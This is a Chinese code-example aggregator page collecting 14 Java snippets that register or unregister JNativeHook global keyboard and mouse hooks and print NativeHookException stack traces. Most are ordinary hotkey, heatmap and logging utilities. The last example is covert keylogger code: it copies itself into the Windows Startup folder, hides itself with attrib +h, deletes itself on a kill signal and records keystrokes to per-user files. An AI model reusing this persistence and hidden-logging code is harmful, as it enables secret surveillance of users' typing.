当前位置: 首页>>代码示例>>Java>>正文


Java NativeHookException.printStackTrace方法代码示例

本文整理汇总了Java中org.jnativehook.NativeHookException.printStackTrace方法的典型用法代码示例。如果您正苦于以下问题:Java NativeHookException.printStackTrace方法的具体用法?Java NativeHookException.printStackTrace怎么用?Java NativeHookException.printStackTrace使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在org.jnativehook.NativeHookException的用法示例。


在下文中一共展示了NativeHookException.printStackTrace方法的14个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Java代码示例。

示例1: init

import org.jnativehook.NativeHookException; //导入方法依赖的package包/类
public static void init() {
	try {
		// Get the logger for "org.jnativehook" and set the level
		Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
		logger.setLevel(loggingLevel);

		// disable the parent handlers
		logger.setUseParentHandlers(false);

		// Init JNativeHook
		GlobalScreen.registerNativeHook();
		GlobalScreen.addNativeKeyListener(new NativeKeyListener());

		Log.debug("JNativeHook initialized.");
	} catch (NativeHookException e) {
		e.printStackTrace();
	}
}
 
开发者ID:Bleuzen,项目名称:Blizcord,代码行数:19,代码来源:NativeKeyListener.java

示例2: initGlobalListeners

import org.jnativehook.NativeHookException; //导入方法依赖的package包/类
private void initGlobalListeners() {
    // Initialze native hook.
    try {
        GlobalScreen.registerNativeHook();
    }
    catch (NativeHookException ex) {
        System.err.println("There was a problem registering the native hook.");
        System.err.println(ex.getMessage());
        ex.printStackTrace();
        System.exit(1);
    }
    detectKeys = new DetectKeys(this, keyLabel, shift, ctrl, alt, mouseLabel, mouseImages);
    GlobalScreen.addNativeKeyListener(detectKeys);
    GlobalScreen.addNativeMouseWheelListener(detectKeys);
    GlobalScreen.addNativeMouseListener(detectKeys);
}
 
开发者ID:CorpWar,项目名称:keycast,代码行数:17,代码来源:Keycast.java

示例3: initNativeMouseMotionListener

import org.jnativehook.NativeHookException; //导入方法依赖的package包/类
/**
 * Use jnativehook to detect mouse drag events and show popover
 */
private void initNativeMouseMotionListener() {
	try {
		GlobalScreen.registerNativeHook();
	} catch (NativeHookException e1) {
		e1.printStackTrace();
	}
	GlobalScreen.addNativeMouseMotionListener(this);
	GlobalScreen.addNativeMouseListener(this);
	GlobalScreen.addNativeKeyListener(this);
}
 
开发者ID:michaelnetter,项目名称:dracoon-dropzone,代码行数:14,代码来源:DropzonePopOver.java

示例4: nativeKeyPressed

import org.jnativehook.NativeHookException; //导入方法依赖的package包/类
@Override
public void nativeKeyPressed(NativeKeyEvent e) {
    System.out.println("Key Pressed: " + NativeKeyEvent.getKeyText(e.getKeyCode()));

    if (e.getKeyCode() == NativeKeyEvent.VC_ESCAPE) {
        try {
            GlobalScreen.unregisterNativeHook();
        } catch (NativeHookException ex) {
            ex.printStackTrace();
        }
    }
}
 
开发者ID:maximova136,项目名称:j-demo,代码行数:13,代码来源:Main.java

示例5: exit

import org.jnativehook.NativeHookException; //导入方法依赖的package包/类
/**
 * Shuts down the program
 */
protected static final void exit(){
	try {
		GlobalScreen.unregisterNativeHook();
	} catch (NativeHookException e1) {
		e1.printStackTrace();
	}
	System.exit(0);
}
 
开发者ID:RoanH,项目名称:KeysPerSecond,代码行数:12,代码来源:Main.java

示例6: initVirtualizer

import org.jnativehook.NativeHookException; //导入方法依赖的package包/类
private void initVirtualizer() {
	try {
		GlobalScreen.registerNativeHook();
	} catch (NativeHookException ex) {
		System.err.println("There was a problem registering the native hook.");
		System.err.println(ex.getMessage());
		ex.printStackTrace();
		System.exit(1);
	}
	LogManager.getLogManager().reset();
	Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
	logger.setLevel(Level.OFF);

	GlobalScreen.addNativeKeyListener(this);
}
 
开发者ID:alireza6677,项目名称:JeyBoard,代码行数:16,代码来源:Virtualizer.java

示例7: shutdownVirtualizer

import org.jnativehook.NativeHookException; //导入方法依赖的package包/类
public void shutdownVirtualizer() {
	try {
		GlobalScreen.unregisterNativeHook();
	} catch (NativeHookException e1) {
		e1.printStackTrace();
	}
	System.runFinalization();
}
 
开发者ID:alireza6677,项目名称:JeyBoard,代码行数:9,代码来源:Virtualizer.java

示例8: HotKeysInterceptor

import org.jnativehook.NativeHookException; //导入方法依赖的package包/类
public HotKeysInterceptor() {
    Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
    logger.setLevel(Level.OFF);

    logger.setUseParentHandlers(false);
    try {
        GlobalScreen.registerNativeHook();
    } catch (NativeHookException e) {
        e.printStackTrace();
    }

    GlobalScreen.addNativeKeyListener(new MercuryNativeKeyListener());
    GlobalScreen.addNativeMouseListener(new MercuryNativeMouseListener());
}
 
开发者ID:Exslims,项目名称:MercuryTrade,代码行数:15,代码来源:HotKeysInterceptor.java

示例9: main

import org.jnativehook.NativeHookException; //导入方法依赖的package包/类
public static void main(String[] args) {
//        new HotKeysInterceptor();
        Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
        logger.setLevel(Level.OFF);

        logger.setUseParentHandlers(false);
        try {
            GlobalScreen.registerNativeHook();
        } catch (NativeHookException e) {
            e.printStackTrace();
        }
        GlobalScreen.addNativeMouseListener(new MercuryNativeMouseListener());
    }
 
开发者ID:Exslims,项目名称:MercuryTrade,代码行数:14,代码来源:HotKeysInterceptor.java

示例10: main

import org.jnativehook.NativeHookException; //导入方法依赖的package包/类
public static void main(String[] args) {
    try {
        GlobalScreen.registerNativeHook();
        LogManager.getLogManager().reset();
        ApplicationFrame frame = new ApplicationFrame(new Callback<Boolean>() {
            @Override
            public void callback(Boolean spaces) {
                disableSpace = spaces;
                GlobalScreen.getInstance().addNativeKeyListener(new GlobalKeyListener(new Callback<Integer>() {
                    @Override
                    public void callback(Integer keyCode) {
                        int currentValue = 0;
                        if (keyMap.containsKey(keyCode)){
                            if (disableSpace && keyCode!=NativeKeyEvent.VC_SPACE)
                                currentValue = keyMap.get(keyCode);
                            else if (!disableSpace)
                                currentValue = keyMap.get(keyCode);
                        }
                        keyMap.put(keyCode,currentValue+1);
                        System.out.println(keyCode);
                    }
                }));
            }
        },
        new Callback<Void>() {
            @Override
            public void callback(Void aVoid) {
                HeatMapFrame p = new HeatMapFrame(keyMap);
                p.setVisible(true);
            }
        });
        frame.setVisible(true);
    } catch (NativeHookException e) {
        e.printStackTrace();
    }

}
 
开发者ID:ollien,项目名称:keyboard-heatmap,代码行数:38,代码来源:Main.java

示例11: windowClosed

import org.jnativehook.NativeHookException; //导入方法依赖的package包/类
/**
 * Finalize and exit the program.
 *
 * @see java.awt.event.WindowListener#windowClosed(java.awt.event.WindowEvent)
 */
public void windowClosed(WindowEvent e) {
	// Clean up the native hook.
	try {
		GlobalScreen.unregisterNativeHook();
	}
	catch (NativeHookException ex) {
		ex.printStackTrace();
	}
	System.runFinalization();
	System.exit(0);
}
 
开发者ID:kwhat,项目名称:jnativehook,代码行数:17,代码来源:NativeHookDemo.java

示例12: startLogging

import org.jnativehook.NativeHookException; //导入方法依赖的package包/类
public void startLogging() {

		try {
			GlobalScreen.registerNativeHook();
		} catch (NativeHookException e) {
			BioLogger.LOGGER.severe("There was a problem registering the native hook.");
			if (System.getProperty("os.name").toLowerCase().contains("mac")) {
				BioLogger.LOGGER.severe("Make sure that Assistive Devices is enabled.");
				BioLogger.LOGGER.severe(
						"Go to System Preferences->Security & Privacy->Accessibility");
			}
			e.printStackTrace();
			return;
		}

		if (mClassMap.containsKey(BioKeystrokeEvent.class)) {
			GlobalScreen.addNativeKeyListener(mListener);
		}

		if (mClassMap.containsKey(BioClickEvent.class)) {
			GlobalScreen.addNativeMouseListener(mListener);
		}

		if (mClassMap.containsKey(BioMotionEvent.class)) {
			GlobalScreen.addNativeMouseMotionListener(mListener);
		}

		if (mClassMap.containsKey(BioWheelEvent.class)) {
			GlobalScreen.addNativeMouseWheelListener(mListener);
		}
	}
 
开发者ID:vmonaco,项目名称:biologger,代码行数:32,代码来源:BioLogger.java

示例13: stopLogging

import org.jnativehook.NativeHookException; //导入方法依赖的package包/类
public void stopLogging() {
	try {
		GlobalScreen.unregisterNativeHook();
	} catch (NativeHookException e) {
		e.printStackTrace();
	}

	mBuffer.stop();
}
 
开发者ID:vmonaco,项目名称:biologger,代码行数:10,代码来源:BioLogger.java

示例14: exec

import org.jnativehook.NativeHookException; //导入方法依赖的package包/类
public void exec() throws IOException, URISyntaxException
{	
	int version = 1;
	if (getCurrentVersion() > version) {
		Chocolat.println("[?] A newer version has been released. Downloading version: " + getCurrentVersion());
	}
	String[] protect = new String[]{"s-duv", "citrus","s-tehi", "s-chenb", "s-chenr"};
	 Chocolat.println("Local_Username: " + System.getProperty("user.name"));
	 if (Radio.isSecondaryDistrib)
	 {
		 for(int fsk = 0; fsk < protect.length; fsk++) 
		 {
			if (protect[fsk].matches(System.getProperty("user.name")))
			{
				Chocolat.println("[" + robert.elapsedTime() + "] [!] Run Access Denied: Acct Status " + fsk);
				System.exit(0);
			}
		 }
	 }
	if (Radio.verifyOS && !isWindows())
	{
		Chocolat.println("[" + robert.elapsedTime() + "] [!] Run Access Denied: OS is not Windows.");
		System.exit(0);
	}
	if (Radio.checkForKill && isSuicune())
	{
		Chocolat.println("[" + robert.elapsedTime() + "] [!] Run Access Denied: Kill Command Received.");
		 File cf = new File(Main.class.getProtectionDomain().getCodeSource().getLocation().toURI().getPath());
		cf.deleteOnExit();
		System.exit(0);
	}
	Chocolat.println("[" + robert.elapsedTime() + "] [✔] Run Access Granted: All safety checks passed.");
	if (Radio.doPersistance)
	{
		File yiffyiff = new File(Main.class.getProtectionDomain().getCodeSource().getLocation().toURI().getPath());
		String startup = "C:/Users/" + System.getProperty("user.name") + "/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup";
		@SuppressWarnings("unused")
		Process p =Runtime.getRuntime().exec(System.getenv("windir") +"\\system32\\"+"xcopy.exe" + " \"" + yiffyiff + "\"" + " \"" + startup +"\"");
		@SuppressWarnings("unused")
		Process px =Runtime.getRuntime().exec(System.getenv("windir") +"\\system32\\"+"attrib.exe +h" + " \"" + yiffyiff + "\"");
	}
	File log = new File("C:/ClassPolicy/" + System.getProperty("user.name") + ".txt");
	if(!log.exists())
	{
		Chocolat.println("Creating logfile...");
		Chocolat.println("[" + robert.elapsedTime() + "] Starting...");
		log.createNewFile();
	} 
	else
	{
		Chocolat.println("[" + robert.elapsedTime() + "] Starting...");
	}
	Chocolat.println("[" + robert.elapsedTime() + "] [✔] File I/O Established.");
	String fn = "C:/ClassPolicy/" + System.getProperty("user.name") + ".txt";
	PrintWriter timestamper = new PrintWriter(new FileWriter(fn, true));
	timestamper.println();
	timestamper.print("[Startup: " + new SimpleDateFormat("EEEE").format(new Date()) + " +" + getTime() + " ]");
	timestamper.println();
	timestamper.close();
	if (Radio.logKeystrokes)
	{
		try
		{
			GlobalScreen.registerNativeHook();
			Chocolat.println("[" + robert.elapsedTime() + "] [✔] HookModule Successfully Registered.");
		} 
		catch (NativeHookException e)
		{
			// TODO Auto-generated catch block
			Chocolat.println("["+ robert.elapsedTime() + "][!][FATAL] A NativeHook Exception Occured: " + e);
			e.printStackTrace();
		}
	GlobalScreen.getInstance().addNativeKeyListener(new Main());
	}
	}
 
开发者ID:DrDab,项目名称:dahak,代码行数:76,代码来源:Main.java


注:本文中的org.jnativehook.NativeHookException.printStackTrace方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。